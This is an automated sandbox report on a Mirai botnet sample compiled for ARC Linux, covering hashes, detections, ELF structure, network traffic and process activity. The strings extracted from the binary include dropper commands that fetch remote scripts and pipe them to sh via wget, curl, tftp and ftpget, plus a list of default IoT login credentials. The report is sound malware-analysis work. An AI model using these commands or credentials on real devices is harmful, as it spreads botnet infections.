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Linux Analysis Report
arc.elf

Overview

General Information

Sample name:arc.elf
Analysis ID:1608153
MD5:7520de7d4a865d911d0e3a483ecc562e
SHA1:5a0ac8fea612e2350f2fd2c19d877e7001d5d49f
SHA256:21e1fdcb12a73bb72c437172e27a116e04425a5fc15820dfafd380f4cfa59036
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1608153
Start date and time:2025-02-06 09:42:16 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 24s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arc.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@0/0
Command:/tmp/arc.elf
PID:6227
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • dash New Fork (PID: 6266, Parent: 4335)
  • rm (PID: 6266, Parent: 4335, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.L5JHQTnd3Z /tmp/tmp.wDG1lLuJEq /tmp/tmp.wYYgaJLtM3
  • dash New Fork (PID: 6267, Parent: 4335)
  • rm (PID: 6267, Parent: 4335, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.L5JHQTnd3Z /tmp/tmp.wDG1lLuJEq /tmp/tmp.wYYgaJLtM3
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    No Suricata rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: arc.elfReversingLabs: Detection: 13%
    Source: arc.elfString: incorrectinvalidbadwrongfaildeniederrorretryenablesystemshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
    Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: arc.elfString found in binary or memory: http:///curl.sh
    Source: arc.elfString found in binary or memory: http:///wget.sh
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 33606
    Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 33606 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
    Source: Initial sampleString containing 'busybox' found: usage: busybox
    Source: Initial sampleString containing 'busybox' found: /bin/busybox
    Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
    Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
    Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
    Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
    Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
    Source: Initial sampleString containing 'busybox' found: usage: busybox > >>icatch99rootxc3511Zte521hexakisoctahedronqbf77101changemetaZz@23OxhlwSG8defaulttlJwpbo6S2fGqNFsnoneAdminpasswordadminubnt123456user1234vizxve8ehomee8telnetttnetgponzteadmintelecomtelecomadmintelnettelnetadminsupport1001chinaquarioadmtaZz@23495859tsgoingonadmin123GM8182vertex25ektks123/bin/busybox
    Source: Initial sampleString containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablesystemshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
    Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne upnp/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEekarmarm5arm6arm7mipsmpslppcspcsh4m68k/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/%d.%d.%d.%dunknown%s%s %s %s %s %d %d
    Source: ELF static info symbol of initial sample.symtab present: no
    Source: classification engineClassification label: mal56.troj.linELF@0/0@0/0
    Source: /usr/bin/dash (PID: 6266)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.L5JHQTnd3Z /tmp/tmp.wDG1lLuJEq /tmp/tmp.wYYgaJLtM3Jump to behavior
    Source: /usr/bin/dash (PID: 6267)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.L5JHQTnd3Z /tmp/tmp.wDG1lLuJEq /tmp/tmp.wYYgaJLtM3Jump to behavior

    Stealing of Sensitive Information

    barindex
    Source: Yara matchFile source: arc.elf, type: SAMPLE

    Remote Access Functionality

    barindex
    Source: Yara matchFile source: arc.elf, type: SAMPLE
    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity Information1
    Scripting
    Valid AccountsWindows Management Instrumentation1
    Scripting
    Path Interception1
    File Deletion
    OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
    Encrypted Channel
    Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
    Application Layer Protocol
    Exfiltration Over BluetoothNetwork Denial of Service
    No configs have been found
    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Number of created Files
    • Is malicious
    • Internet
    SourceDetectionScannerLabelLink
    arc.elf13%ReversingLabsLinux.Backdoor.Mirai
    No Antivirus matches
    No Antivirus matches
    No Antivirus matches
    No contacted domains info
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.sharc.elffalse
      high
      http:///curl.sharc.elffalse
        high
        • No. of IPs < 25%
        • 25% < No. of IPs < 50%
        • 50% < No. of IPs < 75%
        • 75% < No. of IPs
        IPDomainCountryFlagASNASN NameMalicious
        54.171.230.55
        unknownUnited States
        16509AMAZON-02USfalse
        109.202.202.202
        unknownSwitzerland
        13030INIT7CHfalse
        91.189.91.43
        unknownUnited Kingdom
        41231CANONICAL-ASGBfalse
        91.189.91.42
        unknownUnited Kingdom
        41231CANONICAL-ASGBfalse
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                                                No context
                                                No context
                                                No created / dropped files found
                                                File type:ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), statically linked, stripped
                                                Entropy (8bit):6.3268064192757105
                                                TrID:
                                                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                File name:arc.elf
                                                File size:124'340 bytes
                                                MD5:7520de7d4a865d911d0e3a483ecc562e
                                                SHA1:5a0ac8fea612e2350f2fd2c19d877e7001d5d49f
                                                SHA256:21e1fdcb12a73bb72c437172e27a116e04425a5fc15820dfafd380f4cfa59036
                                                SHA512:544235c5a3286c0cac53c05ba63e2c6cb41c9e2255bbc6097e5d8e10ae67ca08d65d64d5a47aa38cdefc1636dd319c346329d36be0b961ac648bb35d7abc9c1e
                                                SSDEEP:3072:eIUQLrlFZ/H2uUEglgnQOr4y8XMrojRJbBbIUCLq:tUy7UMkya9FvbTUq
                                                TLSH:27C3AD97B74B5860C8634BF40BD78FDD2E9321028F5BD8E32C1EA53A19BD5CB4906791
                                                File Content Preview:.ELF..............].........4...........4. ...(.................................. ............................... ..................................................................Q.td.......................................................................

                                                ELF header

                                                Class:ELF32
                                                Data:2's complement, little endian
                                                Version:1 (current)
                                                Machine:<unknown>
                                                Version Number:0x1
                                                Type:EXEC (Executable file)
                                                OS/ABI:UNIX - System V
                                                ABI Version:0
                                                Entry Point Address:0x10b84
                                                Flags:0x403
                                                ELF Header Size:52
                                                Program Header Offset:52
                                                Program Header Size:32
                                                Number of Program Headers:5
                                                Section Header Offset:123780
                                                Section Header Size:40
                                                Number of Section Headers:14
                                                Header String Table Index:13
                                                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                NULL0x00x00x00x00x0000
                                                .initPROGBITS0x101140x1140x220x00x6AX001
                                                .textPROGBITS0x101380x1380x133900x00x6AX004
                                                .finiPROGBITS0x234c80x134c80x160x00x6AX001
                                                .rodataPROGBITS0x234e00x134e00x8bac0x00x2A004
                                                .tbssNOBITS0x2ffe00x1dfe00x80x00x403WAT004
                                                .fini_arrayFINI_ARRAY0x2ffe00x1dfe00x40x40x3WA004
                                                .ctorsPROGBITS0x2ffe40x1dfe40x80x00x3WA004
                                                .dtorsPROGBITS0x2ffec0x1dfec0x80x00x3WA004
                                                .gotPROGBITS0x2fff40x1dff40x80x00x3WA004
                                                .dataPROGBITS0x300080x1e0080x2e40x00x3WA004
                                                .bssNOBITS0x302ec0x1e2ec0x7c100x00x3WA004
                                                .ARC.attributes<unknown>0x00x1e2ec0x320x00x0001
                                                .shstrtabSTRTAB0x00x1e31e0x650x00x0001
                                                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                LOAD0x00x100000x100000x1c08c0x1c08c6.62740x5R E0x2000.init .text .fini .rodata
                                                LOAD0x1dfe00x2ffe00x2ffe00x30c0x7f1c3.97960x6RW 0x2000.tbss .fini_array .ctors .dtors .got .data .bss
                                                NOTE0x00x00x00x00x00.00000x4R 0x4
                                                TLS0x1dfe00x2ffe00x2ffe00x00x80.00000x4R 0x4.tbss
                                                GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
                                                TimestampSource PortDest PortSource IPDest IP
                                                Feb 6, 2025 09:43:01.013524055 CET43928443192.168.2.2391.189.91.42
                                                Feb 6, 2025 09:43:06.389045000 CET42836443192.168.2.2391.189.91.43
                                                Feb 6, 2025 09:43:07.924591064 CET4251680192.168.2.23109.202.202.202
                                                Feb 6, 2025 09:43:21.490926027 CET43928443192.168.2.2391.189.91.42
                                                Feb 6, 2025 09:43:31.062736988 CET33606443192.168.2.2354.171.230.55
                                                Feb 6, 2025 09:43:31.067928076 CET4433360654.171.230.55192.168.2.23
                                                Feb 6, 2025 09:43:31.067986965 CET33606443192.168.2.2354.171.230.55
                                                Feb 6, 2025 09:43:33.776998043 CET42836443192.168.2.2391.189.91.43
                                                Feb 6, 2025 09:43:37.872534037 CET4251680192.168.2.23109.202.202.202
                                                Feb 6, 2025 09:44:02.445020914 CET43928443192.168.2.2391.189.91.42

                                                System Behavior

                                                Start time (UTC):08:43:30
                                                Start date (UTC):06/02/2025
                                                Path:/usr/bin/dash
                                                Arguments:-
                                                File size:129816 bytes
                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                Start time (UTC):08:43:30
                                                Start date (UTC):06/02/2025
                                                Path:/usr/bin/rm
                                                Arguments:rm -f /tmp/tmp.L5JHQTnd3Z /tmp/tmp.wDG1lLuJEq /tmp/tmp.wYYgaJLtM3
                                                File size:72056 bytes
                                                MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                Start time (UTC):08:43:30
                                                Start date (UTC):06/02/2025
                                                Path:/usr/bin/dash
                                                Arguments:-
                                                File size:129816 bytes
                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                Start time (UTC):08:43:30
                                                Start date (UTC):06/02/2025
                                                Path:/usr/bin/rm
                                                Arguments:rm -f /tmp/tmp.L5JHQTnd3Z /tmp/tmp.wDG1lLuJEq /tmp/tmp.wYYgaJLtM3
                                                File size:72056 bytes
                                                MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b